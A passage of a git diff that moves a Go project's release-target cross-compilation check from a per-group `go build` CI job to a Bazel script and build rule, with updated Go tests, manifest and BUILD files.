t.Errorf("bazel call %d = %q, want a package query containing %q", i, calls[i], want) + } + } + build := calls[2] + for _, required := range []string{ + "build\t--keep_going", + releaseFlag + "linux_amd64,windows_arm64,darwin_arm64", + "--config=remote-exec -- //tools/bazel:release_cross", + } { + if !strings.Contains(build, required) { + t.Errorf("build call %q does not contain %q", build, required) + } + } + if !strings.Contains(out, "release cross-compilation passed: linux/amd64 windows/arm64 darwin/arm64") { + t.Errorf("output does not report success for every target:\n%s", out) + } +} + +// A Go package release_cross does not reach fails the script before any +// build, naming the package. +func TestBazelReleaseCrossCompileFailsOnUncoveredPackage(t *testing.T) { + out, err, calls := runBazelReleaseCrossCompile(t, testReleaseManifest, "", "cmd/bd") + if err == nil { + t.Fatalf("script exited 0 with an uncovered package; want non-zero\noutput:\n%s", out) + } + if !strings.Contains(out, "::error::Go packages //tools/bazel:release_cross does not build") || !strings.Contains(out, "internal/types") { + t.Errorf("output does not name the uncovered package:\n%s", out) + } + if b := buildCalls(calls); len(b) != 0 { + t.Errorf("bazel build ran despite an uncovered package: %q", b) + } +} + +// A failing platform fails the script; each platform is then rebuilt alone, +// so the output names exactly the failing ones. +func TestBazelReleaseCrossCompilePropagatesFailureAndNamesPlatform(t *testing.T) { + out, err, calls := runBazelReleaseCrossCompile(t, testReleaseManifest, "windows_arm64", testPkgs) + if err == nil { + t.Fatalf("script exited 0 with a failing platform; want non-zero\noutput:\n%s", out) + } + builds := buildCalls(calls) + if len(builds) != 4 { + t.Fatalf("bazel build calls = %q, want the full build plus one per platform", builds) + } + for i, platform := range []string{"linux_amd64", "windows_arm64", "darwin_arm64"} { + if !strings.Contains(builds[i+1], releaseFlag+platform+" ") { + t.Errorf("attribution build %d = %q, want %s alone", i, builds[i+1], platform) + } + } + for _, want := range []string{ + "::error::release cross-compilation failed for windows/arm64", + "::error::release cross-compilation failed for: windows/arm64", + } { + if !strings.Contains(out, want) { + t.Errorf("output does not contain %q:\n%s", want, out) + } + } + for _, unwanted := range []string{"failed for linux/amd64", "failed for darwin/arm64"} { + if strings.Contains(out, unwanted) { + t.Errorf("output blames a passing platform (%q):\n%s", unwanted, out) } } } -// A group name absent from the manifest must fail loudly, not silently -// succeed with zero targets built. -func TestCheckReleaseCrossCompileUnknownGroupFails(t *testing.T) { - out, err, log := runCheckReleaseCrossCompile(t, "bogus-group", testManifest, "") +// An empty manifest must fail loudly rather than pass with nothing built. +func TestBazelReleaseCrossCompileEmptyManifestFails(t *testing.T) { + out, err, calls := runBazelReleaseCrossCompile(t, "# nothing\n\n", "", testPkgs) if err == nil { - t.Fatalf("script exited 0 for an unknown group; want non-zero\noutput:\n%s", out) + t.Fatalf("script exited 0 for an empty manifest; want non-zero\noutput:\n%s", out) } - if !strings.Contains(out, "::error::no release targets found for group 'bogus-group'") { - t.Errorf("output does not report the unknown group:\n%s", out) + if !strings.Contains(out, "::error::no release targets in") { + t.Errorf("output does not report the empty manifest:\n%s", out) } - if log != "" { - t.Errorf("fake go was invoked for an unknown group; want zero invocations, got log:\n%s", log) + if len(calls) != 0 { + t.Errorf("bazel ran for an empty manifest: %q", calls) + } +} + +// A malformed row (not exactly GOOS GOARCH) must fail, not be skipped. +func TestBazelReleaseCrossCompileMalformedRowFails(t *testing.T) { + out, err, _ := runBazelReleaseCrossCompile(t, "linux amd64 unix\n", "", testPkgs) + if err == nil { + t.Fatalf("script exited 0 for a malformed row; want non-zero\noutput:\n%s", out) + } + if !strings.Contains(out, "::error::malformed row") { + t.Errorf("output does not report the malformed row:\n%s", out) } } diff --git a/scripts/ci/bazel-release-cross-compile.sh b/scripts/ci/bazel-release-cross-compile.sh new file mode 100755 index 000000000..e369ff044 --- /dev/null +++ b/scripts/ci/bazel-release-cross-compile.sh @@ -0,0 +1,91 @@ +#!/usr/bin/env bash +# Release-target cross-compilation gate (bazel.yml's pure-Go lane): build +# every non-test Go target of the module for every GOOS/GOARCH row of +# scripts/ci/release-targets.txt, the Bazel form of +# `CGO_ENABLED=0 GOOS= GOARCH= go build -tags gms_pure_go ./...`. +# +# One `bazel build` of //tools/bazel:release_cross with +# --//tools/bazel:release_platforms set to every manifest row: its split +# transition builds every listed target once per platform with cgo off (and +# the gms_pure_go tag every build carries), all platforms in parallel on the +# remote workers. --keep_going reports every broken target of every +# platform in one run, and a failed run names each failing platform. The target list is every go_library and go_binary +# (the packages `go build ./...` compiles; go_test targets are `go test`'s), +# kept by tools/bazel/go_srcs.py (`make bazel-sync`) minus the ones tagged +# cgo-only (incompatible with //tools/bazel:pure), which `go build ./...` skips +# under CGO_ENABLED=0. Before building, the list is checked against `bazel +# query`, so a target the generator missed fails here instead of going +# uncompiled. The list also holds //tools/bazel:pure_bd_has_no_cgo_only_deps: +# Bazel compiles gozstd's pure stubs (third_party/patches/ +# gozstd_nocgo.patch) where `go build` rejects a CGO_ENABLED=0 import of it, +# so that check fails a platform whose pure bd links gozstd. +# +# Coverage boundary, as in the `go build` job this replaces: every target +# builds with cgo off, but .goreleaser.yml builds linux/amd64, linux/arm64 +# and windows/amd64 with CGO_ENABLED=1, and release.yml builds the darwin +# pair natively with CGO_ENABLED=1, so the cgo half of the tree (beads_cgo.go +# -> internal/storage/embeddeddolt) is compiled for none of them here. +# +# Usage: bazel-release-cross-compile.sh [extra bazel build flags...] +set -euo pipefail + +manifest="$(dirname "${BASH_SOURCE[0]}")/release-targets.txt" + +targets=() +while read -r goos goarch extra; do + if [[ -z "$goarch" || -n "$extra" ]]; then + echo "::error::malformed row in $manifest: '$goos $goarch $extra', want 'GOOS GOARCH'" + exit 1 + fi + targets+=("$goos/$goarch") +done < <(grep -v '^[[:space:]]*#' "$manifest" | grep -v '^[[:space:]]*$' || true) + +if [[ "${#targets[@]}" -eq 0 ]]; then + echo "::error::no release targets in $manifest" + exit 1 +fi + +platforms=() +for target in "${targets[@]}"; do + platforms+=("${target%/*}_${target#*/}") +done + +# Every Bazel package holding a Go target (less testonly targets and the +# packages of cgo-only ones) must be reached by //tools/bazel:release_cross; +# a listed label that no longer exists fails the build itself. +universe='kind("go_library|go_binary", //...)' +wanted="$universe except siblings(attr(tags, \"\\bcgo-only\\b\", $universe)) except attr(testonly, 1, $universe)" +# One query at a time: they share the Bazel server. +want_pkgs="$(bazel query "$wanted" --output=package | LC_ALL=C sort -u)" +built_pkgs="$(bazel query 'deps(//tools/bazel:release_cross)' --output=package | LC_ALL=C sort -u)" +missing="$(LC_ALL=C comm -23 <(echo "$want_pkgs") <(echo "$built_pkgs"))" +if [[ -n "$missing" ]]; then + echo "::error::Go packages //tools/bazel:release_cross does not build (run \`make bazel-sync\`; a package whose Go targets are all invisible to //tools/bazel needs one visible to it):" + echo "$missing" + exit 1 +fi + +platform_list="$(IFS=,; echo "${platforms[*]}")" +echo "::group::bazel build //tools/bazel:release_cross for ${targets[*]}" +status=0 +bazel build --keep_going "--//tools/bazel:release_platforms=$platform_list" \ + "$@" -- //tools/bazel:release_cross || status=$? +echo "::endgroup::" +if [[ "$status" -ne 0 ]]; then + # Bazel's errors above name the target, not the platform (each split + # configuration's output directory is a hash). Rebuild one platform at a + # time to name them: the same configurations, so everything that built + # is a cache hit and only the failures run again. + failed=() + for i in "${!platforms[@]}"; do + if ! bazel build --keep_going "--//tools/bazel:release_platforms=${platforms[$i]}" \ + "$@" -- //tools/bazel:release_cross >/dev/null 2>&1; then + echo "::error::release cross-compilation failed for ${targets[$i]}" + failed+=("${targets[$i]}") + fi + done + echo "::error::release cross-compilation failed for: ${failed[*]:-(bazel exit $status; no single platform reproduced it, see the log above)}" + exit 1 +fi + +echo "release cross-compilation passed: ${targets[*]}" diff --git a/scripts/ci/check-release-cross-compile.sh b/scripts/ci/check-release-cross-compile.sh deleted file mode 100755 index a4fccfdd8..000000000 --- a/scripts/ci/check-release-cross-compile.sh +++ /dev/null @@ -1,64 +0,0 @@ -#!/usr/bin/env bash -# Build the whole tree (not just ./cmd/bd) for every release target in the -# given group of scripts/ci/release-targets.txt, with CGO disabled. -# -# This is the F7a fold of pr.yml's check-release-target-cross-compilation job: -# one call per matrix leg (group), each building its targets sequentially in a -# single job/runner instead of one runner per target. Every target in the -# group runs even if an earlier one fails, so a PR touching two platforms at -# once sees both failures in one log instead of needing a re-run per leg. -# -# Usage: check-release-cross-compile.sh -# -# Review N-1 (2026-10-03): the spec sketched a 2-wide parallel build per leg -# with a per-target GOCACHE. This builds sequentially with one shared GOCACHE -# instead - simpler, and safe because the targets in a group never touch the -# same GOCACHE entries destructively. Measured per-target time on an 8 vCPU -# Blacksmith runner is a couple of minutes, off the gate's critical path; if a -# future group's wall time regresses past ~4 minutes, revisit 2-wide. -# -# Coverage boundary, carried over from the pre-fold job: every target here -# builds CGO_ENABLED=0, but .goreleaser.yml builds bd-linux-amd64, -# bd-linux-arm64 and bd-windows-amd64 with CGO_ENABLED=1, and the darwin pair -# is built natively at CGO_ENABLED=1 by release.yml's goreleaser-macos job. -# Five of these eight targets are therefore a weaker proxy than the binary -# they stand for: the cgo half of the tree (beads_cgo.go -> -# internal/storage/embeddeddolt) is never compiled here, so a break confined -# to it still passes this check. Only android/arm64, windows/arm64 and -# freebsd/amd64 replicate their release configuration exactly. -set -euo pipefail - -group="${1:?usage: check-release-cross-compile.sh }" -manifest="$(dirname "${BASH_SOURCE[0]}")/release-targets.txt" - -targets=() -while read -r goos goarch row_group; do - [[ "$row_group" == "$group" ]] || continue - targets+=("$goos/$goarch") -done < <(grep -v '^#' "$manifest" | grep -v '^[[:space:]]*$') - -if [[ "${#targets[@]}" -eq 0 ]]; then - echo "::error::no release targets found for group '$group' in $manifest" - exit 1 -fi - -failed=() -for target in "${targets[@]}"; do - goos="${target%/*}" - goarch="${target#*/}" - echo "::group::Build $goos/$goarch" - if CGO_ENABLED=0 GOOS="$goos" GOARCH="$goarch" go build -tags gms_pure_go ./...; then - echo "ok: $goos/$goarch" - else - echo "::error::cross-compilation failed for $goos/$goarch" - failed+=("$goos/$goarch") - fi - echo "::endgroup::" -done - -if [[ "${#failed[@]}" -gt 0 ]]; then - echo "::error::cross-compilation failed for: ${failed[*]}" - exit 1 -fi - -echo "cross-compilation passed for group '$group': ${targets[*]}" diff --git a/scripts/ci/release-targets.txt b/scripts/ci/release-targets.txt index 07a9f8160..8cecf1e4a 100644 --- a/scripts/ci/release-targets.txt +++ b/scripts/ci/release-targets.txt @@ -1,7 +1,6 @@ -# Release target manifest for pr.yml's check-release-target-cross-compilation -# job (F7a). One "GOOS GOARCH GROUP" row per target; GROUP assigns the target -# to one of the job's two matrix legs (see -# scripts/ci/check-release-cross-compile.sh). +# Release target manifest: one "GOOS GOARCH" row per shipped release target. +# scripts/ci/bazel-release-cross-compile.sh (bazel.yml's pure-Go lane) builds +# the whole tree for each row with Bazel (--platforms, cgo off). # # Kept in sync with .goreleaser.yml's builds: list, PLUS the darwin/amd64 and # darwin/arm64 pair that .goreleaser.yml deliberately omits (built instead by @@ -11,15 +10,11 @@ # TestReleaseTargetCrossCompilationMatrixMatchesGoreleaser enforces this: it # fails if this file and .goreleaser.yml (plus the darwin exception) ever # disagree on the target set. -# -# Groups are an even split for balanced job runtime, not a semantic -# boundary - cross-compilation never touches the target OS, so both groups -# build and run entirely on the Linux runner. -linux amd64 unix -linux arm64 unix -android arm64 unix -freebsd amd64 unix -darwin amd64 desktop -darwin arm64 desktop -windows amd64 desktop -windows arm64 desktop +linux amd64 +linux arm64 +android arm64 +freebsd amd64 +darwin amd64 +darwin arm64 +windows amd64 +windows arm64 diff --git a/scripts/ci_blacksmith_runner_test.go b/scripts/ci_blacksmith_runner_test.go index fb7ed17f8..14970f8d1 100644 --- a/scripts/ci_blacksmith_runner_test.go +++ b/scripts/ci_blacksmith_runner_test.go @@ -35,8 +35,7 @@ const sameRepoBlacksmith2vcpu = "${{ (github.event_name == 'merge_group' || (git // F7a: the same same-repo expression at 4 vCPU and 8 vCPU, for jobs sized // larger than the 2 vCPU default (check-doc-flags, -// pr-risk.yml's test-nix at 4 vCPU; check-release-target-cross-compilation at -// 8 vCPU). F7c's advisory workflows also use the 4 vCPU size. +// pr-risk.yml's test-nix at 4 vCPU; windows-test-binaries at 8 vCPU). F7c's advisory workflows also use the 4 vCPU size. const sameRepoBlacksmith4vcpu = "${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }}" const sameRepoBlacksmith8vcpu = "${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-8vcpu-ubuntu-2404' || 'ubuntu-latest' }}" diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index ae88cefb7..e8ce12ca1 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -393,42 +393,63 @@ esac } } -// TestPRCIGateRequiresReleaseTargetCrossCompilation pins the cross-compilation -// check into the gate. Wiring a job into ci-gate takes three separate edits -- -// needs:, the CI_GATE_REQUIRED token list, and the CHECK_* env mapping -- and -// the gate silently ignores a token that is missing any one of them. Every -// other load-bearing check in this file is pinned by name for that reason. -func TestPRCIGateRequiresReleaseTargetCrossCompilation(t *testing.T) { +// TestReleaseCrossCompileRunsInBazelPureLane pins the release-target +// cross-compilation gate into bazel.yml's pure-Go lane, whose job.status +// ci-gate requires (BAZEL_PURE), and keeps the retired pr.yml job from +// coming back beside it: a second, `go build` copy of the gate would run +// every target twice. +func TestReleaseCrossCompileRunsInBazelPureLane(t *testing.T) { const ( - jobName = "check-release-target-cross-compilation" - token = "CHECK_RELEASE_TARGET_CROSS_COMPILATION" + retiredJob = "check-release-target-cross-compilation" + retiredToken = "CHECK_RELEASE_TARGET_CROSS_COMPILATION" + stepName = "Cross-compile every release target (--config=release-cross)" ) - - gate := readCIWorkflow(t, "pr.yml").job(t, "ci-gate") + pr := readCIWorkflow(t, "pr.yml") + if _, ok := pr.Jobs[retiredJob]; ok { + t.Errorf("pr.yml still defines %s; bazel.yml's %s lane runs the release cross-compilation", retiredJob, bazelPureJobName) + } + gate := pr.job(t, "ci-gate") gateEnv := gate.step(t, "Evaluate CI gate").Env + if contains(gate.Needs, retiredJob) || gateEnv[retiredToken] != "" || contains(strings.Fields(gateEnv["CI_GATE_REQUIRED"]), retiredToken) { + t.Errorf("ci-gate still wires the retired %s job", retiredJob) + } + if !contains(strings.Fields(gateEnv["CI_GATE_REQUIRED"]), "BAZEL_PURE") { + t.Errorf("ci-gate CI_GATE_REQUIRED does not include BAZEL_PURE, the lane that cross-compiles the release targets") + } - if !contains(gate.Needs, jobName) { - t.Errorf("ci-gate needs %q: %v", jobName, gate.Needs) + run := readCIWorkflow(t, bazelWorkflowName).job(t, bazelPureJobName).step(t, stepName).Run + for _, required := range []string{ + "set -euo pipefail", + "./scripts/ci/bazel-release-cross-compile.sh", + } { + if !strings.Contains(run, required) { + t.Errorf("%s step %q does not contain %q:\n%s", bazelPureJobName, stepName, required, run) + } } - if got, want := gateEnv[token], "${{ needs."+jobName+".result }}"; got != want { - t.Errorf("ci-gate env %s = %q, want %q", token, got, want) - } - if !contains(strings.Fields(gateEnv["CI_GATE_REQUIRED"]), token) { - t.Errorf("ci-gate CI_GATE_REQUIRED does not include %q", token) + + // The transition is what makes every platform's build pure Go (cgo off, + // as CGO_ENABLED=0 go build) for the platform the script names. + bzl := readPolicyFile(t, bazelPolicyRoot(t), "tools/bazel/release_cross.bzl") + for _, required := range []string{ + `"//command_line_option:platforms": ["@rules_go//go/toolchain:" + platform],`, + `"@rules_go//go/config:pure": True,`, + `inputs = ["//tools/bazel:release_platforms"],`, + } { + if !strings.Contains(bzl, required) { + t.Errorf("tools/bazel/release_cross.bzl does not contain %q", required) + } } } // TestReleaseTargetCrossCompilationMatrixMatchesGoreleaser keeps -// scripts/ci/release-targets.txt (F7a: the single source of truth for the -// pr.yml cross-compilation job's two matrix legs, read by -// scripts/ci/check-release-cross-compile.sh) and the set of shipped release -// targets in lockstep. Without a guard a newly added release target -- the -// way freebsd/amd64 once was -- is silently uncovered while a green "release -// target cross-compilation" check still stands. That is worse than having no -// check at all, because the check's existence implies the coverage it has -// quietly lost. +// scripts/ci/release-targets.txt (the single source of truth for the +// platforms scripts/ci/bazel-release-cross-compile.sh builds in bazel.yml's +// pure-Go lane) and the set of shipped release targets in lockstep. Without +// a guard a newly added release target -- the way freebsd/amd64 once was -- +// is silently uncovered while a green cross-compilation check still stands. +// That is worse than having no check at all, because the check's existence +// implies the coverage it has quietly lost. func TestReleaseTargetCrossCompilationMatrixMatchesGoreleaser(t *testing.T) { - const jobName = "check-release-target-cross-compilation" const manifestPath = "scripts/ci/release-targets.txt" // darwin/amd64 and darwin/arm64 are shipped release targets that are @@ -447,51 +468,21 @@ func TestReleaseTargetCrossCompilationMatrixMatchesGoreleaser(t *testing.T) { } } - // The job itself must still read the manifest, so a future rewrite of the - // job that stops threading matrix.group through to the script cannot pass - // silently. - job := readCIWorkflow(t, "pr.yml").job(t, jobName) - groups := append([]string(nil), job.Strategy.Matrix.Group...) - sort.Strings(groups) - if !reflect.DeepEqual(groups, []string{"desktop", "unix"}) { - t.Errorf("%s matrix groups = %v, want [desktop unix]", jobName, groups) - } - var ranScript bool - for _, step := range job.Steps { - if strings.Contains(step.Run, "check-release-cross-compile.sh ${{ matrix.group }}") { - ranScript = true - } - } - if !ranScript { - t.Errorf("%s does not run check-release-cross-compile.sh with matrix.group", jobName) - } - raw, err := os.ReadFile(filepath.Join(sourceRepoRoot(t), manifestPath)) if err != nil { t.Fatalf("read %s: %v", manifestPath, err) } got := make(map[string]bool) - seenGroups := make(map[string]bool) for _, line := range strings.Split(string(raw), "\n") { line = strings.TrimSpace(line) if line == "" || strings.HasPrefix(line, "#") { continue } fields := strings.Fields(line) - if len(fields) != 3 { - t.Fatalf("%s: malformed row %q, want 'GOOS GOARCH GROUP'", manifestPath, line) - } - goos, goarch, group := fields[0], fields[1], fields[2] - if group != "unix" && group != "desktop" { - t.Fatalf("%s: row %q has unknown group %q", manifestPath, line, group) - } - seenGroups[group] = true - got[goos+"/"+goarch] = true - } - for _, g := range []string{"unix", "desktop"} { - if !seenGroups[g] { - t.Errorf("%s: no targets in group %q", manifestPath, g) + if len(fields) != 2 { + t.Fatalf("%s: malformed row %q, want 'GOOS GOARCH'", manifestPath, line) } + got[fields[0]+"/"+fields[1]] = true } for target, source := range want { @@ -1421,11 +1412,7 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertGoCacheInventory(t, workflows["pr.yml"].job(t, "test-windows-liveness"), []goCacheStep{ restoreModuleCache(), restoreBuildCache("non-race"), }) - for _, jobName := range []string{ - "advisory-reports", "check-release-target-cross-compilation", - } { - assertGoCacheInventory(t, workflows["pr.yml"].job(t, jobName), []goCacheStep{restoreModuleCache()}) - } + assertGoCacheInventory(t, workflows["pr.yml"].job(t, "advisory-reports"), []goCacheStep{restoreModuleCache()}) // F7b review (S2): check-doc-freshness-platforms additionally restores a // restore-only non-race Go build cache, seeded by the same push-to-main // savers pr-preflight-platforms' leg restores below (see that job's own @@ -1462,7 +1449,7 @@ func TestGoCacheOwnershipTopology(t *testing.T) { "pr.yml": { "build-artifacts": true, "pr-core-wrapper": true, "scripts-go-checks": true, "worktree-remove-windows": true, "check-doc-freshness-platforms": true, "pr-preflight-platforms": true, "advisory-reports": true, - "check-release-target-cross-compilation": true, "pr-lint-wrapper": true, "windows-test-binaries": true, + "pr-lint-wrapper": true, "windows-test-binaries": true, "test-windows-liveness": true, }, "pr-risk.yml": {"build-embedded": true}, @@ -2987,15 +2974,13 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { // size (module-cache misses on the Blacksmith pool are acceptable // per spec; jobs that need a Blacksmith-side build-cache saver are // F7b's scope, not this one). windows-test-binaries is F4's Linux - // mingw cross-compile job, sized at 8vcpu like the cross-compilation - // matrix fold below. + // mingw cross-compile job, sized at 8vcpu. "pr.yml": { "bazel-coverage": sameRepoBlacksmith2vcpu, "ci-gate": sameRepoBlacksmith2vcpu, - "fast-checks": sameRepoBlacksmith2vcpu, - "advisory-reports": sameRepoBlacksmith2vcpu, - "check-doc-flags": sameRepoBlacksmith4vcpu, - "check-release-target-cross-compilation": sameRepoBlacksmith8vcpu, - "windows-test-binaries": sameRepoBlacksmith8vcpu, + "fast-checks": sameRepoBlacksmith2vcpu, + "advisory-reports": sameRepoBlacksmith2vcpu, + "check-doc-flags": sameRepoBlacksmith4vcpu, + "windows-test-binaries": sameRepoBlacksmith8vcpu, // F7b: scripts-go-checks/pr-lint-wrapper moved to same-repo // Blacksmith now that main.yml's blacksmith-go-build-cache and // pr-lint-wrapper `venue` matrix seed their Blacksmith-selection diff --git a/scripts/internal/testbash/BUILD.bazel b/scripts/internal/testbash/BUILD.bazel index 3e1ed3c72..6ec7c261e 100644 --- a/scripts/internal/testbash/BUILD.bazel +++ b/scripts/internal/testbash/BUILD.bazel @@ -8,7 +8,12 @@ go_library( "resolver_windows.go", ], importpath = "github.com/steveyegge/beads/scripts/internal/testbash", - visibility = ["//scripts:__subpackages__"], + # //tools/bazel:release_cross cross-compiles it like every package + # `go build ./...` compiles. + visibility = [ + "//scripts:__subpackages__", + "//tools/bazel:__pkg__", + ], ) go_test( diff --git a/tools/bazel/BUILD.bazel b/tools/bazel/BUILD.bazel index 9d9e372c0..79fdab72a 100644 --- a/tools/bazel/BUILD.bazel +++ b/tools/bazel/BUILD.bazel @@ -1,6 +1,7 @@ load("@rules_shell//shell:sh_binary.bzl", "sh_binary") load("@rules_shell//shell:sh_test.bzl", "sh_test") load(":dolt.bzl", "hermetic_bin") +load(":release_cross.bzl", "release_cross_build", "string_list_flag") # Platforms with a pinned dolt release; elsewhere (e.g. windows) the hermetic # test wrapper is skipped by `bazel build //...` instead of failing analysis. @@ -99,6 +100,207 @@ filegroup( for cpu in ("amd64", "arm64") ] +# On when rules_go builds pure Go (--@rules_go//go/config:pure, as +# --config=pure and :release_cross's transition set it): cgo is off. +config_setting( + name = "pure", + flag_values = {"@rules_go//go/config:pure": "true"}, + visibility = ["//:__subpackages__"], +) + +# Bazel compiles gozstd's pure stubs (third_party/patches/gozstd_nocgo.patch) +# where `go build` with CGO_ENABLED=0 rejects any import of it, so a pure bd +# that links gozstd still builds. Go binaries keep their function names +# (pclntab) even when stripped, so this fails the build of a pure bd that +# links gozstd for whatever platform it targets, without running it: +# :release_cross builds it for every release platform. "main.main" proves the name table +# was readable. Pure builds only: a cgo bd links gozstd by design. +genrule( + name = "pure_bd_has_no_cgo_only_deps", + srcs = ["//cmd/bd"], + outs = ["pure_bd_has_no_cgo_only_deps.txt"], + cmd = """ +if grep -qaF 'github.com/dolthub/gozstd.' $<; then + echo "$< links github.com/dolthub/gozstd (cgo-only) in a pure build; CGO_ENABLED=0 go build would reject it" >&2 + exit 1 +fi +grep -qaF 'main.main' $< || { echo "$<: no Go function names found" >&2; exit 1; } +echo "no cgo-only deps: $<" > $@ +""", + target_compatible_with = select({ + ":pure": [], + "//conditions:default": ["@platforms//:incompatible"], + }), +) + +# The rules_go platforms (_) :release_cross builds for. +# scripts/ci/bazel-release-cross-compile.sh sets it from +# scripts/ci/release-targets.txt, the single source of truth; empty fails +# :release_cross's analysis. +string_list_flag( + name = "release_platforms", + build_setting_default = [], +) + +# :release_cross (the managed block below) is the release-target +# cross-compilation: every go_library and go_binary, cgo off, once per +# platform in :release_platforms, all in one invocation. It is the Bazel +# form of `CGO_ENABLED=0 GOOS= GOARCH= go build -tags gms_pure_go +# ./...` per release target, plus :pure_bd_has_no_cgo_only_deps. Manual: it +# needs :release_platforms, which `bazel build //...` does not set. + +# --- begin release_cross (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +# manual: needs --//tools/bazel:release_platforms (see above). +release_cross_build( + name = "release_cross", + tags = ["manual"], + targets = [ + ":pure_bd_has_no_cgo_only_deps", + "//:beads", + "//backend/conformance:conformance", + "//backend:backend", + "//beadserrors:beadserrors", + "//cmd/bd/doctor/fix:fix", + "//cmd/bd/doctor:doctor", + "//cmd/bd/protocol:protocol", + "//cmd/bd/setup:setup", + "//cmd/bd:bd", + "//format:format", + "//internal/ado:ado", + "//internal/atomicfile:atomicfile", + "//internal/audit:audit", + "//internal/beads:beads", + "//internal/ceiling:ceiling", + "//internal/compact:compact", + "//internal/config:config", + "//internal/configfile:configfile", + "//internal/creds:creds", + "//internal/debug:debug", + "//internal/doltremote:doltremote", + "//internal/doltserver:doltserver", + "//internal/doltversion:doltversion", + "//internal/eventsjournal:eventsjournal", + "//internal/execenv:execenv", + "//internal/fdhygiene:fdhygiene", + "//internal/formula/cmd/schemagen:schemagen", + "//internal/formula/schemagen:schemagen", + "//internal/formula:formula", + "//internal/git:git", + "//internal/gitenv:gitenv", + "//internal/githooksenv:githooksenv", + "//internal/github:github", + "//internal/gitignore:gitignore", + "//internal/gitlab:gitlab", + "//internal/gittraceenv:gittraceenv", + "//internal/hooks:hooks", + "//internal/httpapi/apigen:apigen", + "//internal/httpapi/spec:spec", + "//internal/httpapi/wireshape/cmd/gendigest:gendigest", + "//internal/httpapi/wireshape:wireshape", + "//internal/httpapi:httpapi", + "//internal/httpclient/encode:encode", + "//internal/httpclient/wire:wire", + "//internal/httpclient:httpclient", + "//internal/idgen:idgen", + "//internal/jira:jira", + "//internal/linear:linear", + "//internal/lockfile:lockfile", + "//internal/memoryapi:memoryapi", + "//internal/metrics:metrics", + "//internal/migration/legacysqlite:legacysqlite", + "//internal/migration:migration", + "//internal/molecules:molecules", + "//internal/notion:notion", + "//internal/procid:procid", + "//internal/query:query", + "//internal/recipes:recipes", + "//internal/remotecache:remotecache", + "//internal/routing:routing", + "//internal/storage/backendnames:backendnames", + "//internal/storage/backends:backends", + "//internal/storage/batchbench:batchbench", + "//internal/storage/batchfixtures:batchfixtures", + "//internal/storage/contextinfo:contextinfo", + "//internal/storage/createbatchequiv:createbatchequiv", + "//internal/storage/dberrors:dberrors", + "//internal/storage/dbproxy/identity:identity", + "//internal/storage/dbproxy/pidfile:pidfile", + "//internal/storage/dbproxy/proxy:proxy", + "//internal/storage/dbproxy/server:server", + "//internal/storage/dbproxy/util:util", + "//internal/storage/depid:depid", + "//internal/storage/dolt:dolt", + "//internal/storage/doltutil:doltutil", + "//internal/storage/domain/db:db", + "//internal/storage/domain/fs:fs", + "//internal/storage/domain/git:git", + "//internal/storage/domain:domain", + "//internal/storage/embeddeddolt:embeddeddolt", + "//internal/storage/externaldeps:externaldeps", + "//internal/storage/fs:fs", + "//internal/storage/git:git", + "//internal/storage/issueops:issueops", + "//internal/storage/journalscan:journalscan", + "//internal/storage/kvkeys:kvkeys", + "//internal/storage/memoryops:memoryops", + "//internal/storage/rowid:rowid", + "//internal/storage/schema:schema", + "//internal/storage/sqlbuild:sqlbuild", + "//internal/storage/sqlclass:sqlclass", + "//internal/storage/sqlcount:sqlcount", + "//internal/storage/storagecontract:storagecontract", + "//internal/storage/uow:uow", + "//internal/storage/versioncontrolops:versioncontrolops", + "//internal/storage:storage", + "//internal/telemetry:telemetry", + "//internal/templates/agents:agents", + "//internal/templates:templates", + "//internal/testutil/bazeltest:bazeltest", + "//internal/testutil/credentialcmd:credentialcmd", + "//internal/testutil/fixtures:fixtures", + "//internal/testutil/integration:integration", + "//internal/testutil:testutil", + "//internal/timeparsing:timeparsing", + "//internal/tracker/conformance:conformance", + "//internal/tracker:tracker", + "//internal/types:types", + "//internal/ui:ui", + "//internal/uimd:uimd", + "//internal/utils:utils", + "//internal/validation:validation", + "//internal/versioncheck:versioncheck", + "//internal/workapi/storecounter:storecounter", + "//internal/workapi/storequerier:storequerier", + "//internal/workapi/storereader:storereader", + "//internal/workapi/storereadycounter:storereadycounter", + "//internal/workapi/storestats:storestats", + "//internal/workapi/storeversionreconciler:storeversionreconciler", + "//internal/workapi/storeworkspaceconfig:storeworkspaceconfig", + "//internal/workapi:workapi", + "//internal/workspacegate:workspacegate", + "//internal/worktreeremove:worktreeremove", + "//issueops:issueops", + "//journalops:journalops", + "//memoryops:memoryops", + "//plugins/beads:beads", + "//schema:schema", + "//scripts/bench-ready-indexes:bench-ready-indexes", + "//scripts/check-versions:check-versions", + "//scripts/checkworkflowtags:checkworkflowtags", + "//scripts/internal/testbash:testbash", + "//scripts/migration-test/catalog:catalog", + "//scripts/pr-lint:pr-lint", + "//scripts/repro-dolt-hang:repro-dolt-hang", + "//scripts/repro-dolt-prod-timeouts:repro-dolt-prod-timeouts", + "//scripts/workflowtags:workflowtags", + "//test/conformance:conformance", + "//tools/docsmint:docsmint", + ], +) + +# --- end release_cross --- + # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( diff --git a/tools/bazel/go_srcs.py b/tools/bazel/go_srcs.py index efb0cc977..896c129af 100755 --- a/tools/bazel/go_srcs.py +++ b/tools/bazel/go_srcs.py @@ -32,6 +32,17 @@ sync step, on every PR) fails on a missing or stale block. Trees in .bazelignore (.beads, website, the nested example modules, agent worktrees, node_modules) are outside Bazel and so outside //:repo_files. +tools/bazel/BUILD.bazel also gets a managed `release_cross` block: the +release_cross_build (tools/bazel/release_cross.bzl) that +scripts/ci/bazel-release-cross-compile.sh builds for every release platform, +listing every go_library and go_binary it can see (the packages `go build +./...` compiles; a private library is compiled by the go_binary that embeds +it) except the cgo-only ones a pure build cannot link (tagged "cgo-only" and +incompatible with //tools/bazel:pure) and testonly fixtures. The script checks +against `bazel query` before it builds that every Bazel package holding Go +targets is reached, so a package this parser misses fails CI instead of +going uncompiled. + With --check nothing is written: stale blocks are printed as a diff and the 